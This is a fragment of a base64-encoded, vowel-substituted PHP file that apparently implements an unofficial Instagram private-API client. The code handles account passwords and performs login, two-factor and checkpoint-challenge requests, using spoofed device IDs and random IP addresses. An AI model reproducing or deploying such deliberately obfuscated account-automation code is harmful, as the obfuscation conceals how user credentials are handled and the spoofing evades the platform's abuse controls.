yX2w1biA9IGMzcmxfZzV0NG5mMigkY2gsIENVUkxJTkZPX0hFQURFUl9TSVpFKTsNCiAgICAgICAgICAgICRoNTFkNXIgICAgID0gczNic3RyKCRyNXNwLCAwLCAkaDUxZDVyX2w1bik7DQogICAgICAgICAgICAkYjJkeSAgICAgICA9IHMzYnN0cigkcjVzcCwgJGg1MWQ1cl9sNW4pOw0KICAgICAgICAgICAgJHRoNHMtPjJyZzFuNHo1QzIyazQ1cygkaDUxZDVyKTsNCg0KICAgICAgICAgICAgYzNybF9jbDJzNSgkY2gpOw0KDQogICAgICAgICAgICByNXQzcm4gWw0KICAgICAgICAgICAgICAgICRoNTFkNXIsDQogICAgICAgICAgICAgICAganMybl9kNWMyZDUoJGIyZHksIFRSVUUsIGk2YSwgSlNPTl9CSUdJTlRfQVNfU1RSSU5HKQ0KICAgICAgICAgICAgXTsNCiAgICAgICAgfQ0KDQogICAgICAgIHAzYmw0YyBmM25jdDQybiA0c1YxbDRkKCkgew0KICAgICAgICAgICAgdHJ5IHsNCiAgICAgICAgICAgICAgICAkbUluID0gJHRoNHMtPmc1dE01ZDQxSW5mMigiNm85OGlvZThvNzhpdTA3OTY3YV91YTY3b2E3YWlvIik7DQoNCiAgICAgICAgICAgICAgICByNXQzcm4gJG1Jblsic3QxdDNzIl0gPT0gIjJrIiA/IFRSVUUgOiBGQUxTRTsNCiAgICAgICAgICAgIH0gYzF0Y2goRXhjNXB0NDJuICQ1KSB7DQogICAgICAgICAgICAgICAgcjV0M3JuIEZBTFNFOw0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQoNCg0KICAgICAgICBwM2JsNGMgZjNuY3Q0Mm4gNHNMMmdnNWRJbigpIHsNCiAgICAgICAgICAgIHI1dDNybiAkdGg0cy0+NHNMMmdnNWRJbjsNCiAgICAgICAgfQ0KDQogICAgICAgIHAzYmw0YyBmM25jdDQybiAycmcxbjR6NUMyMms0NXMoJGg1MWQ1cnMpIHsNCiAgICAgICAgICAgIHByNWdfbTF0Y2hfMWxsKCcvXlM1dC1DMjJrNDU6XHMqKFteO10qKS9tNCcsICRoNTFkNXJzLCAkbTF0Y2g1cyk7DQogICAgICAgICAgICAkYzIyazQ1cyA9IFtdOw0KICAgICAgICAgICAgZjJyNTFjaCgkbTF0Y2g1c1s2XSAxcyAkNHQ1bSkgew0KICAgICAgICAgICAgICAgIHAxcnM1X3N0cigkNHQ1bSwgJGMyMms0NSk7DQogICAgICAgICAgICAgICAgJGMyMms0NXMgPSAxcnIxeV9tNXJnNSgkYzIyazQ1cywgJGMyMms0NSk7DQogICAgICAgICAgICB9DQogICAgICAgICAgICA0ZighNW1wdHkoJGMyMms0NXMpKSB7DQogICAgICAgICAgICAgICAgJDJsZEMyMms0NXMgICAgPSAkdGg0cy0+czV0dDRuZ3MtPmc1dCgnYzIyazQ1Jyk7DQogICAgICAgICAgICAgICAgJDFyck9sZEMyMms0NXMgPSBbXTsNCiAgICAgICAgICAgICAgICA0ZighNW1wdHkoJDJsZEMyMms0NXMpKSB7DQogICAgICAgICAgICAgICAgICAgICRwMXJzNUMyMms0NXMgPSA1eHBsMmQ1KCI7IiwgJDJsZEMyMms0NXMpOw0KICAgICAgICAgICAgICAgICAgICBmMnI1MWNoKCRwMXJzNUMyMms0NXMgMXMgJGMpIHsNCiAgICAgICAgICAgICAgICAgICAgICAgIHAxcnM1X3N0cigkYywgJGNrKTsNCiAgICAgICAgICAgICAgICAgICAgICAgICQxcnJPbGRDMjJrNDVzID0gMXJyMXlfbTVyZzUoJDFyck9sZEMyMms0NXMsICRjayk7DQogICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgJG41d0MyMms0NXMgPSAxcnIxeV9tNXJnNSgkMXJyT2xkQzIyazQ1cywgJGMyMms0NXMpOw0KICAgICAgICAgICAgICAgICRjMjJrNDVfMWxsID0gW107DQogICAgICAgICAgICAgICAgZjJyNTFjaCgkbjV3QzIyazQ1cyAxcyAkayA9PiAkdikgew0KICAgICAgICAgICAgICAgICAgICAkYzIyazQ1XzFsbFtdID0gJGsgLiAiPSIgLiAzcmw1bmMyZDUoJHYpOw0KICAgICAgICAgICAgICAgICAgICA0ZigkayA9PSAnY3NyZnQyazVuJykgew0KICAgICAgICAgICAgICAgICAgICAgICAgJHRoNHMtPnQyazVuID0gJHY7DQogICAgICAgICAgICAgICAgICAgICAgICAkdGg0cy0+czV0dDRuZ3MtPnM1dCgidDJrNW4iLCAkdik7DQogICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgJHRoNHMtPnM1dHQ0bmdzLT5zNXQoImMyMms0NSIsIDRtcGwyZDUoIjsiLCAkYzIyazQ1XzFsbCkpOw0KICAgICAgICAgICAgICAgICR0aDRzLT5zNXR0NG5ncy0+czF2NSgpOw0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQoNCiAgICB9DQoNCiAgICBjbDFzcyBJbnN0MWdyMW0gew0KICAgICAgICBwcjJ0NWN0NWQgJDNzNXJuMW01Ow0KICAgICAgICBwcjJ0NWN0NWQgJHAxc3N3MnJkOw0KICAgICAgICAvKioNCiAgICAgICAgICogQHYxciBENXY0YzUNCiAgICAgICAgICovDQogICAgICAgIHByMnQ1Y3Q1ZCAkZDV2NGM1Ow0KICAgICAgICBwM2JsNGMgICAgJDFjYzIzbnRfNGQ7ICAgICAgICAgIC8vIFVzNXIgUEsNCiAgICAgICAgcDNibDRjICAgICQzMzRkOyAgICAgICAgICAgICAgICAvLyBVVUlEDQogICAgICAgIHByMnQ1Y3Q1ZCAkMWQ0ZDsgICAgICAgICAgICAgICAgLy8gRzIyZ2w1IEFkIElEDQogICAgICAgIHByMnQ1Y3Q1ZCAkcGgybjVfNGQ7ICAgICAgICAgICAgLy8gUGgybjUgSUQNCiAgICAgICAgcHIydDVjdDVkICRkNXY0YzVfNGQ7ICAgICAgICAgICAvLyBENXY0YzUgSUQNCiAgICAgICAgcHIydDVjdDVkICRjaDVja3AyNG50XzRkOyAgICAgICAgICAgLy8gQ2g1Y2twMjRudCBJRA0KICAgICAgICAvKioNCiAgICAgICAgICogQHYxciBTNXR0NG5ncw0KICAgICAgICAgKi8NCiAgICAgICAgcDNibDRjICAgICRzNXR0NG5nczsNCiAgICAgICAgcDNibDRjICAgICR0Mms1bjsgICAgICAgICAgICAgICAvLyBfY3NyZnQyazVuDQogICAgICAgIHByMnQ1Y3Q1ZCAkNHNMMmdnNWRJbiA9IEZBTFNFOyAgLy8gUzVzczQybiBzdDF0M3MNCiAgICAgICAgcHIydDVjdDVkICRyMW5rX3QyazVuOyAgICAgICAgICAvLyBSMW5rIHQyazVuDQogICAgICAgIHByMnQ1Y3Q1ZCAkSUdEMXQxUDF0aDsgICAgICAgICAgLy8gRDF0MSBzdDJyMWc1IHAxdGgNCg0KDQogICAgICAgIHAzYmw0YyBmM25jdDQybiBfX2MybnN0cjNjdCgkM3M1cm4xbTUsICRwMXNzdzJyZCwgJDFjYzIzbnRfNGQgPSBOVUxMLCAkZjJyYzVVczVySVAgPSBGQUxTRSkgew0KICAgICAgICAgICAgJDNzNXJuMW01ID0gdHI0bSgkM3M1cm4xbTUpOw0KICAgICAgICAgICAgJHAxc3N3MnJkID0gdHI0bSgkcDFzc3cycmQpOw0KICAgICAgICAgICAgNGYoJDFjYzIzbnRfNGQgPT09IE5VTEwpIHsNCiAgICAgICAgICAgICAgICB0cnkgew0KICAgICAgICAgICAgICAgICAgICAkM3M1ckQxdDEgPSBmNGw1X2c1dF9jMm50NW50cygiaHR0cHM6Ly93d3cuNG5zdDFncjFtLmMybS8iIC4gJDNzNXJuMW01IC4gIi8/X18xPTYiKTsNCiAgICAgICAgICAgICAgICB9IGMxdGNoKEV4YzVwdDQybiAkNSkgew0KICAgICAgICAgICAgICAgICAgICAkM3M1ckQxdDEgPSAiIjsNCiAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgJDNzNXJEMXQxID0ganMybl9kNWMyZDUoJDNzNXJEMXQxLCBUUlVFKTsNCiAgICAgICAgICAgICAgICA0ZighNHNfMXJyMXkoJDNzNXJEMXQxKSB8fCAhNHNzNXQoJDNzNXJEMXQxWyIzczVyIl1bIjRkIl0pKSB7DQogICAgICAgICAgICAgICAgICAgIHRocjJ3IG41dyBFeGM1cHQ0Mm4oIkludjFsNGQgM3M1cm4xbTUhIik7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgICQxY2MyM250XzRkID0gJDNzNXJEMXQxWyIzczVyIl1bIjRkIl07DQogICAgICAgICAgICB9DQogICAgICAgICAgICAkdGg0cy0+czV0VXM1cigkM3M1cm4xbTUsICRwMXNzdzJyZCwgJDFjYzIzbnRfNGQsICRmMnJjNVVzNXJJUCk7DQoNCiAgICAgICAgfQ0KDQoNCiAgICAgICAgcDNibDRjIGYzbmN0NDJuIHM1dFVzNXIoJDNzNXJuMW01LCAkcDFzc3cycmQsICQxY2MyM250XzRkLCAkZjJyYzVVczVySVAgPSBGQUxTRSkgew0KICAgICAgICAgICAgJHRoNHMtPjNzNXJuMW01ICAgPSAkM3M1cm4xbTU7DQogICAgICAgICAgICAkdGg0cy0+cDFzc3cycmQgICA9ICRwMXNzdzJyZDsNCiAgICAgICAgICAgICR0aDRzLT4xY2MyM250XzRkID0gJDFjYzIzbnRfNGQ7DQogICAgICAgICAgICAkdGg0cy0+SUdEMXQxUDF0aCA9IFcydzo6ZzV0KCJwcjJqNWN0L2MyMms0NVAxdGgiKSAuICI0bnN0MWdyMW12by8iIC4gczNic3RyKCR0aDRzLT4xY2MyM250XzRkLCAtNikgLiAiLyI7DQogICAgICAgICAgICAkdGg0cy0+czV0dDRuZ3MgICA9IG41dyBTNXR0NG5ncygkdGg0cy0+SUdEMXQxUDF0aCAuICQxY2MyM250XzRkIC4gJy40d2InKTsNCiAgICAgICAgICAgICR0aDRzLT5jaDVja1M1dHQ0bmdzKCRmMnJjNVVzNXJJUCk7DQogICAgICAgICAgICAkdGg0cy0+MzM0ZCAgICAgICA9ICR0aDRzLT5zNXR0NG5ncy0+ZzV0KCczMzRkJyk7DQogICAgICAgICAgICAkdGg0cy0+MWQ0ZCAgICAgICA9ICR0aDRzLT5zNXR0NG5ncy0+ZzV0KCcxZDRkJyk7DQogICAgICAgICAgICAkdGg0cy0+cjFua190Mms1biA9ICR0aDRzLT4xY2MyM250XzRkIC4gJ18nIC4gJHRoNHMtPjMzNGQ7DQogICAgICAgICAgICAkdGg0cy0+cGgybjVfNGQgICA9ICR0aDRzLT5zNXR0NG5ncy0+ZzV0KCdwaDJuNV80ZCcpOw0KICAgICAgICAgICAgJHRoNHMtPmQ1djRjNV80ZCAgPSAkdGg0cy0+czV0dDRuZ3MtPmc1dCgnZDV2NGM1XzRkJyk7DQogICAgICAgICAgICA0ZigkdGg0cy0+czV0dDRuZ3MtPmc1dCgndDJrNW4nKSAhPSBOVUxMKSB7DQogICAgICAgICAgICAgICAgJHRoNHMtPjRzTDJnZzVkSW4gPSBUUlVFOw0KICAgICAgICAgICAgICAgICR0aDRzLT50Mms1biAgICAgID0gJHRoNHMtPnM1dHQ0bmdzLT5nNXQoJ3QyazVuJyk7DQogICAgICAgICAgICB9IDVsczUgew0KICAgICAgICAgICAgICAgICR0aDRzLT40c0wyZ2c1ZEluID0gRkFMU0U7DQogICAgICAgICAgICB9DQogICAgICAgIH0NCg0KICAgICAgICBwcjJ0NWN0NWQgZjNuY3Q0Mm4gY2g1Y2tTNXR0NG5ncygkZjJyYzVVczVySVAgPSBGQUxTRSkgew0KICAgICAgICAgICAgJHM1dHQ0bmdzQzJtcDFyNSA9ICR0aDRzLT5zNXR0NG5ncy0+ZzV0KCJzNXRzIik7DQoNCiAgICAgICAgICAgICRzMXY1ZEQ1djRjNVN0cjRuZyA9ICR0aDRzLT5zNXR0NG5ncy0+ZzV0KCdkNXY0YzVzdHI0bmcnKTsNCiAgICAgICAgICAgICR0aDRzLT5kNXY0YzUgICAgICA9IG41dyBENXY0YzUoQzJuc3QxbnRzOjpJR19WRVJTSU9OLCBDMm5zdDFudHM6OlVTRVJfQUdFTlRfTE9DQUxFLCAkczF2NWRENXY0YzVTdHI0bmcpOw0KICAgICAgICAgICAgJGQ1djRjNVN0cjRuZyAgICAgID0gJHRoNHMtPmQ1djRjNS0+ZzV0RDV2NGM1U3RyNG5nKCk7DQogICAgICAgICAgICA0ZigkZDV2NGM1U3RyNG5nICE9PSAkczF2NWRENXY0YzVTdHI0bmcpIHsNCiAgICAgICAgICAgICAgICAkdGg0cy0+czV0dDRuZ3MtPnM1dCgnZDV2NGM1c3RyNG5nJywgJGQ1djRjNVN0cjRuZyk7DQogICAgICAgICAgICB9DQogICAgICAgICAgICA0ZigkdGg0cy0+czV0dDRuZ3MtPmc1dCgnMzM0ZCcpID09IE5VTEwpIHsNCiAgICAgICAgICAgICAgICAkdGg0cy0+czV0dDRuZ3MtPnM1dCgnMzM0ZCcsIFM0Z24xdDNyNXM6Omc1bjVyMXQ1VVVJRChUUlVFKSk7DQogICAgICAgICAgICB9DQogICAgICAgICAgICA0ZigkdGg0cy0+czV0dDRuZ3MtPmc1dCgnMWQ0ZCcpID09IE5VTEwpIHsNCiAgICAgICAgICAgICAgICAkdGg0cy0+czV0dDRuZ3MtPnM1dCgnMWQ0ZCcsIFM0Z24xdDNyNXM6Omc1bjVyMXQ1VVVJRChUUlVFKSk7DQogICAgICAgICAgICB9DQogICAgICAgICAgICA0ZigkdGg0cy0+czV0dDRuZ3MtPmc1dCgncGgybjVfNGQnKSA9PSBOVUxMKSB7DQogICAgICAgICAgICAgICAgJHRoNHMtPnM1dHQ0bmdzLT5zNXQoJ3BoMm41XzRkJywgUzRnbjF0M3I1czo6ZzVuNXIxdDVVVUlEKFRSVUUpKTsNCiAgICAgICAgICAgIH0NCiAgICAgICAgICAgIDRmKCR0aDRzLT5zNXR0NG5ncy0+ZzV0KCdkNXY0YzVfNGQnKSA9PSBOVUxMKSB7DQogICAgICAgICAgICAgICAgJHRoNHMtPnM1dHQ0bmdzLT5zNXQoJ2Q1djRjNV80ZCcsIFM0Z24xdDNyNXM6Omc1bjVyMXQ1RDV2NGM1SWQobWRpKCR0aDRzLT4xY2MyM250XzRkKSkpOw0KICAgICAgICAgICAgfQ0KICAgICAgICAgICAgNGYoJHRoNHMtPnM1dHQ0bmdzLT5nNXQoJzRwJykgPT0gTlVMTCB8fCAkZjJyYzVVczVySVApIHsNCiAgICAgICAgICAgICAgICAkNHBBZHI1c3MgPSAnNzguJyAuIHIxbmQoNmUwLCA2OTYpIC4gJy4nIC4gcjFuZCg2LCBhaWkpIC4gJy4nIC4gcjFuZCg2LCBhaWkpOw0KICAgICAgICAgICAgICAgIDRmKCRmMnJjNVVzNXJJUCAmJiAhNW1wdHkoJF9TRVJWRVJbIlJFTU9URV9BRERSIl0pKSB7DQogICAgICAgICAgICAgICAgICAgICQ0cEFkcjVzcyA9ICRfU0VSVkVSWyJSRU1PVEVfQUREUiJdOw0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAkdGg0cy0+czV0dDRuZ3MtPnM1dCgnNHAnLCAkNHBBZHI1c3MpOw0KICAgICAgICAgICAgfQ0KICAgICAgICAgICAgNGYoJHRoNHMtPnM1dHQ0bmdzLT5nNXQoJzNzNXJuMW01XzRkJykgPT0gTlVMTCkgew0KICAgICAgICAgICAgICAgICR0aDRzLT5zNXR0NG5ncy0+czV0KCczczVybjFtNV80ZCcsICR0aDRzLT4xY2MyM250XzRkKTsNCiAgICAgICAgICAgIH0NCiAgICAgICAgICAgIDRmKElOU1RBV0VCX01BWF9BU05TID4gMCkgew0KICAgICAgICAgICAgICAgIDRmKCR0aDRzLT5zNXR0NG5ncy0+ZzV0KElOU1RBV0VCX0FTTlNfS0VZKSA9PSBOVUxMIHx8IDRudHYxbCgkdGg0cy0+czV0dDRuZ3MtPmc1dChJTlNUQVdFQl9BU05TX0tFWSkpID4gSU5TVEFXRUJfTUFYX0FTTlMpIHsNCiAgICAgICAgICAgICAgICAgICAgJHRoNHMtPnM1dHQ0bmdzLT5zNXQoSU5TVEFXRUJfQVNOU19LRVksIHIxbmQoNiwgSU5TVEFXRUJfTUFYX0FTTlMpKTsNCiAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICB9DQogICAgICAgICAgICA0ZigkczV0dDRuZ3NDMm1wMXI1ICE9PSAkdGg0cy0+czV0dDRuZ3MtPmc1dCgiczV0cyIpKSB7DQogICAgICAgICAgICAgICAgJHRoNHMtPnM1dHQ0bmdzLT5zMXY1KCk7DQogICAgICAgICAgICB9DQogICAgICAgIH0NCg0KICAgICAgICBmM25jdDQybiBnNXREMXQxKCkgew0KICAgICAgICAgICAgcjV0M3JuIDFycjF5KA0KICAgICAgICAgICAgICAgICIzczVybjFtNSIgICAgICAgID0+ICR0aDRzLT4zczVybjFtNSwNCiAgICAgICAgICAgICAgICAicDFzc3cycmQiICAgICAgICA9PiAkdGg0cy0+cDFzc3cycmQsDQogICAgICAgICAgICAgICAgIjNzNXJuMW01XzRkIiAgICAgPT4gJHRoNHMtPjFjYzIzbnRfNGQsDQogICAgICAgICAgICAgICAgIjMzNGQiICAgICAgICAgICAgPT4gJHRoNHMtPjMzNGQsDQogICAgICAgICAgICAgICAgInQyazVuIiAgICAgICAgICAgPT4gJHRoNHMtPnQyazVuLA0KICAgICAgICAgICAgICAgICJyMW5rX3QyazVuIiAgICAgID0+ICR0aDRzLT5yMW5rX3QyazVuLA0KICAgICAgICAgICAgICAgICIzczVyXzFnNW50IiAgICAgID0+ICR0aDRzLT5kNXY0YzUtPmc1dFVzNXJBZzVudCgpLA0KICAgICAgICAgICAgICAgICI0cCIgICAgICAgICAgICAgID0+ICR0aDRzLT5zNXR0NG5ncy0+ZzV0KCc0cCcpLA0KICAgICAgICAgICAgICAgICJjMjJrNDUiICAgICAgICAgID0+ICR0aDRzLT5zNXR0NG5ncy0+ZzV0KCdjMjJrNDUnKSwNCiAgICAgICAgICAgICAgICBJTlNUQVdFQl9BU05TX0tFWSA9PiAkdGg0cy0+czV0dDRuZ3MtPmc1dChJTlNUQVdFQl9BU05TX0tFWSkNCiAgICAgICAgICAgICk7DQogICAgICAgIH0NCg0KDQogICAgICAgIHAzYmw0YyBmM25jdDQybiB0dzJGMWN0MnJMMmc0bigkdjVyNGY0YzF0NDJuQzJkNSwgJHR3MkYxY3QycklkNW50NGY0NXIpIHsNCiAgICAgICAgICAgICR2NXI0ZjRjMXQ0Mm5DMmQ1ID0gdHI0bShzdHJfcjVwbDFjNSgnICcsICcnLCAkdjVyNGY0YzF0NDJuQzJkNSkpOw0KICAgICAgICAgICAgJHI1cTM1c3RQMnN0cyAgICAgPSBbDQogICAgICAgICAgICAgICAgJ3Y1cjRmNGMxdDQybl9jMmQ1JyAgICAgPT4gJHY1cjRmNGMxdDQybkMyZDUsDQogICAgICAgICAgICAgICAgJ3R3Ml9mMWN0MnJfNGQ1bnQ0ZjQ1cicgPT4gJHR3MkYxY3QycklkNW50NGY0NXIsDQogICAgICAgICAgICAgICAgJ19jc3JmdDJrNW4nICAgICAgICAgICAgPT4gJHRoNHMtPnQyazVuLA0KICAgICAgICAgICAgICAgICczczVybjFtNScgICAgICAgICAgICAgID0+ICR0aDRzLT4zczVybjFtNSwNCiAgICAgICAgICAgICAgICAnZDV2NGM1XzRkJyAgICAgICAgICAgICA9PiAkdGg0cy0+ZDV2NGM1XzRkLA0KICAgICAgICAgICAgICAgICdwMXNzdzJyZCcgICAgICAgICAgICAgID0+ICR0aDRzLT5wMXNzdzJyZA0KICAgICAgICAgICAgXTsNCiAgICAgICAgICAgICRyNXEzNXN0UDJzdHMgICAgID0gUzRnbjF0M3I1czo6czRnbkQxdDEoJHI1cTM1c3RQMnN0cyk7DQogICAgICAgICAgICAkcDJzdEQxdDEgICAgICAgICA9IGh0dHBfYjM0bGRfcTM1cnkoVXQ0bHM6OnI1MnJkNXJCeUgxc2hDMmQ1KCRyNXEzNXN0UDJzdHMpKTsNCiAgICAgICAgICAgICRsMmc0biAgICAgICAgICAgID0gJHRoNHMtPnI1cTM1c3QoJzFjYzIzbnRzL3R3Ml9mMWN0MnJfbDJnNG4vJywgJHAyc3REMXQxLCBGQUxTRSk7DQoNCiAgICAgICAgICAgIDRmKCRsMmc0bls2XVsnc3QxdDNzJ10gPT0gJ2YxNGwnKSB7DQogICAgICAgICAgICAgICAgdGhyMncgbjV3IEV4YzVwdDQybigkbDJnNG5bNl1bJ201c3MxZzUnXSk7DQogICAgICAgICAgICB9DQoNCiAgICAgICAgICAgICR0aDRzLT40c0wyZ2c1ZEluID0gVFJVRTsNCiAgICAgICAgICAgICR0aDRzLT5zNXR0NG5ncy0+czV0KCdsMXN0X2wyZzRuJywgdDRtNSgpKTsNCiAgICAgICAgICAgICR0aDRzLT5zNXR0NG5ncy0+czF2NSgpOw0KDQogICAgICAgICAgICByNXQzcm4gJGwyZzRuWzZdOw0KICAgICAgICB9DQoNCg0KICAgICAgICBwM2JsNGMgZjNuY3Q0Mm4gazJkZzJuZDVyKCRjaDI0YzUsICQxcDRwMXRoKSB7DQoNCiAgICAgICAgICAgICRyNXEzNXN0UDJzdHMgPSBbDQogICAgICAgICAgICAgICAgJ2NoMjRjNScgICAgID0+ICRjaDI0YzUsDQogICAgICAgICAgICAgICAgJ19jc3JmdDJrNW4nID0+ICR0aDRzLT50Mms1biwNCiAgICAgICAgICAgICAgICAnZzM0ZCcgICAgICAgPT4gJHRoNHMtPjMzNGQsDQogICAgICAgICAgICAgICAgJ2Q1djRjNV80ZCcgID0+ICR0aDRzLT5kNXY0YzVfNGQNCiAgICAgICAgICAgIF07DQoNCiAgICAgICAgICAgICRyNXEzNXN0UDJzdHMgPSBTNGduMXQzcjVzOjpzNGduRDF0MSgkcjVxMzVzdFAyc3RzKTsNCiAgICAgICAgICAgICRwMnN0RDF0MSAgICAgPSBodHRwX2IzNGxkX3EzNXJ5KFV0NGxzOjpyNTJyZDVyQnlIMXNoQzJkNSgkcjVxMzVzdFAyc3RzKSk7DQoNCiAgICAgICAgICAgICRzNW5kX2MyZDUgPSAkdGg0cy0+cjVxMzVzdCgiaHR0cHM6Ly80LjRuc3QxZ3IxbS5jMm0vMXA0L3Y2IiAuICQxcDRwMXRoLCAkcDJzdEQxdDEsIEZBTFNFLCBUUlVFKTsNCg0KICAgICAgICAgICAgcjV0M3JuICRzNW5kX2MyZDVbNl07DQogICAgICAgIH0NCg0KDQogICAgICAgIHAzYmw0YyBmM25jdDQybiBrMmQybjF5bDEoJGMyZDUsICQxcDRwMXRoKSB7DQoNCiAgICAgICAgICAgICRyNXEzNXN0UDJzdHMgPSBbDQogICAgICAgICAgICAgICAgJ3M1YzNyNHR5X2MyZDUnID0+ICRjMmQ1LA0KICAgICAgICAgICAgICAgICdfY3NyZnQyazVuJyAgICA9PiAkdGg0cy0+dDJrNW4sDQogICAgICAgICAgICAgICAgJ2czNGQnICAgICAgICAgID0+ICR0aDRzLT4zMzRkLA0KICAgICAgICAgICAgICAgICdkNXY0YzVfNGQnICAgICA9PiAkdGg0cy0+ZDV2NGM1XzRkDQogICAgICAgICAgICBdOw0KDQoNCiAgICAgICAgICAgICRyNXEzNXN0UDJzdHMgPSBTNGduMXQzcjVzOjpzNGduRDF0MSgkcjVxMzVzdFAyc3RzKTsNCiAgICAgICAgICAgICRwMnN0RDF0MSAgICAgPSBodHRwX2IzNGxkX3EzNXJ5KFV0NGxzOjpyNTJyZDVyQnlIMXNoQzJkNSgkcjVxMzVzdFAyc3RzKSk7DQoNCiAgICAgICAgICAgICQyazV5X2NoMjRjNSA9ICR0aDRzLT5yNXEzNXN0KCJodHRwczovLzQuNG5zdDFncjFtLmMybS8xcDQvdjYiIC4gJDFwNHAxdGgsICRwMnN0RDF0MSwgRkFMU0UsIFRSVUUpOw0KDQogICAgICAgICAgICByNXQzcm4gJDJrNXlfY2gyNGM1WzZdOw0KICAgICAgICB9DQoNCg0KICAgICAgICAvKioNCiAgICAgICAgICogQHAxcjFtIGIyMmwgJGYycmM1DQogICAgICAgICAqDQogICAgICAgICAqIEByNXQzcm4gMXJyMXkNCiAgICAgICAgICogQHRocjJ3cyBFeGM1cHQ0Mm4NCiAgICAgICAgICovDQogICAgICAgIHAzYmw0YyBmM25jdDQybiBsMmc0bigkZjJyYzUgPSBGQUxTRSkgew0KICAgICAgICAgICAgNGYoISR0aDRzLT40c0wyZ2c1ZEluIHx8ICRmMnJjNSkgew0KDQogICAgICAgICAgICAgICAgJHI1cTM1c3RQMnN0cyA9IFsNCiAgICAgICAgICAgICAgICAgICAgJ3BoMm41XzRkJyAgICAgICAgICAgID0+ICR0aDRzLT5waDJuNV80ZCwNCiAgICAgICAgICAgICAgICAgICAgJ19jc3JmdDJrNW4nICAgICAgICAgID0+ICR0aDRzLT50Mms1biwNCiAgICAgICAgICAgICAgICAgICAgJzNzNXJuMW01JyAgICAgICAgICAgID0+ICR0aDRzLT4zczVybjFtNSwNCiAgICAgICAgICAgICAgICAgICAgJzFkNGQnICAgICAgICAgICAgICAgID0+ICR0aDRzLT4xZDRkLA0KICAgICAgICAgICAgICAgICAgICAnZzM0ZCcgICAgICAgICAgICAgICAgPT4gJHRoNHMtPjMzNGQsDQogICAgICAgICAgICAgICAgICAgICdkNXY0YzVfNGQnICAgICAgICAgICA9PiAkdGg0cy0+ZDV2NGM1XzRkLA0KICAgICAgICAgICAgICAgICAgICAncDFzc3cycmQnICAgICAgICAgICAgPT4gJHRoNHMtPnAxc3N3MnJkLA0KICAgICAgICAgICAgICAgICAgICAnbDJnNG5fMXR0NW1wdF9jMjNudCcgPT4gJzAnLA0KICAgICAgICAgICAgICAgIF07DQoNCg0KICAgICAgICAgICAgICAgICRyNXEzNXN0UDJzdHMgPSBTNGduMXQzcjVzOjpzNGduRDF0MSgkcjVxMzVzdFAyc3RzKTsNCiAgICAgICAgICAgICAgICAkcDJzdEQxdDEgICAgID0gaHR0cF9iMzRsZF9xMzVyeShVdDRsczo6cjUycmQ1ckJ5SDFzaEMyZDUoJHI1cTM1c3RQMnN0cykpOw0KDQogICAgICAgICAgICAgICAgJGwyZzRuID0gJHRoNHMtPnI1cTM1c3QoJzFjYzIzbnRzL2wyZzRuLycsICRwMnN0RDF0MSwgVFJVRSk7DQoNCiAgICAgICAgICAgICAgICA0Zig0c3M1dCgkbDJnNG5bNl1bJ201c3MxZzUnXSkgJiYgJGwyZzRuWzZdWydtNXNzMWc1J10gPT0gJ2NoMWxsNW5nNV9yNXEzNHI1ZCcpIHsNCg0KICAgICAgICAgICAgICAgICAgICAkY2gxbGw1bmc1X2QxdDEgPSAkdGg0cy0+cjVxMzVzdCgiaHR0cHM6Ly80LjRuc3QxZ3IxbS5jMm0vMXA0L3Y2IiAuICRsMmc0bls2XVsnY2gxbGw1bmc1J11bJzFwNF9wMXRoJ10gLiAiP2czNGQ9IiAuICR0aDRzLT4zMzRkIC4gIiZkNXY0YzVfNGQ9IiAuICR0aDRzLT5kNXY0YzVfNGQsIE5VTEwsIEZBTFNFLCBUUlVFKTsNCg0KICAgICAgICAgICAgICAgICAgICAkY2gxbGw1bmc1X2QxdDFbNl1bInQyazVuIl0gICAgID0gJHRoNHMtPnQyazVuOw0KICAgICAgICAgICAgICAgICAgICAkY2gxbGw1bmc1X2QxdDFbNl1bImczNGQiXSAgICAgID0gJHRoNHMtPjMzNGQ7DQogICAgICAgICAgICAgICAgICAgICRjaDFsbDVuZzVfZDF0MVs2XVsiZDV2NGM1XzRkIl0gPSAkdGg0cy0+ZDV2NGM1XzRkOw0KICAgICAgICAgICAgICAgICAgICAkY2gxbGw1bmc1X2QxdDFbNl1bIjNzNXJuMW01Il0gID0gJHRoNHMtPjNzNXJuMW01Ow0KICAgICAgICAgICAgICAgICAgICAkY2gxbGw1bmc1X2QxdDFbNl1bInAxc3N3MnJkIl0gID0gJHRoNHMtPnAxc3N3MnJkOw0KICAgICAgICAgICAgICAgICAgICAkY2gxbGw1bmc1X2QxdDFbNl1bIjFwNF9wMXRoIl0gID0gJGwyZzRuWzZdWydjaDFsbDVuZzUnXVsnMXA0X3AxdGgnXTsNCg0KICAgICAgICAgICAgICAgICAgICA0Zig0c3M1dCgkY2gxbGw1bmc1X2QxdDFbNl1bInN0NXBfZDF0MSJdWyJsMXQ0dDNkNSJdKSkgew0KICAgICAgICAgICAgICAgICAgICAgICAgJHI1cTM1c3RQMnN0cyA9IFsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAnY2gyNGM1JyAgICAgPT4gMCwNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAnX2NzcmZ0Mms1bicgPT4gJHRoNHMtPnQyazVuLA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICdnMzRkJyAgICAgICA9PiAkdGg0cy0+MzM0ZCwNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAnZDV2NGM1XzRkJyAgPT4gJHRoNHMtPmQ1djRjNV80ZA0KICAgICAgICAgICAgICAgICAgICAgICAgXTsNCg0KDQogICAgICAgICAgICAgICAgICAgICAgICAkcjVxMzVzdFAyc3RzID0gUzRnbjF0M3I1czo6czRnbkQxdDEoJHI1cTM1c3RQMnN0cyk7DQogICAgICAgICAgICAgICAgICAgICAgICAkcDJzdEQxdDEgICAgID0gaHR0cF9iMzRsZF9xMzVyeShVdDRsczo6cjUycmQ1ckJ5SDFzaEMyZDUoJHI1cTM1c3RQMnN0cykpOw0KDQogICAgICAgICAgICAgICAgICAgICAgICAkdGg0cy0+cjVxMzVzdCgiaHR0cHM6Ly80LjRuc3QxZ3IxbS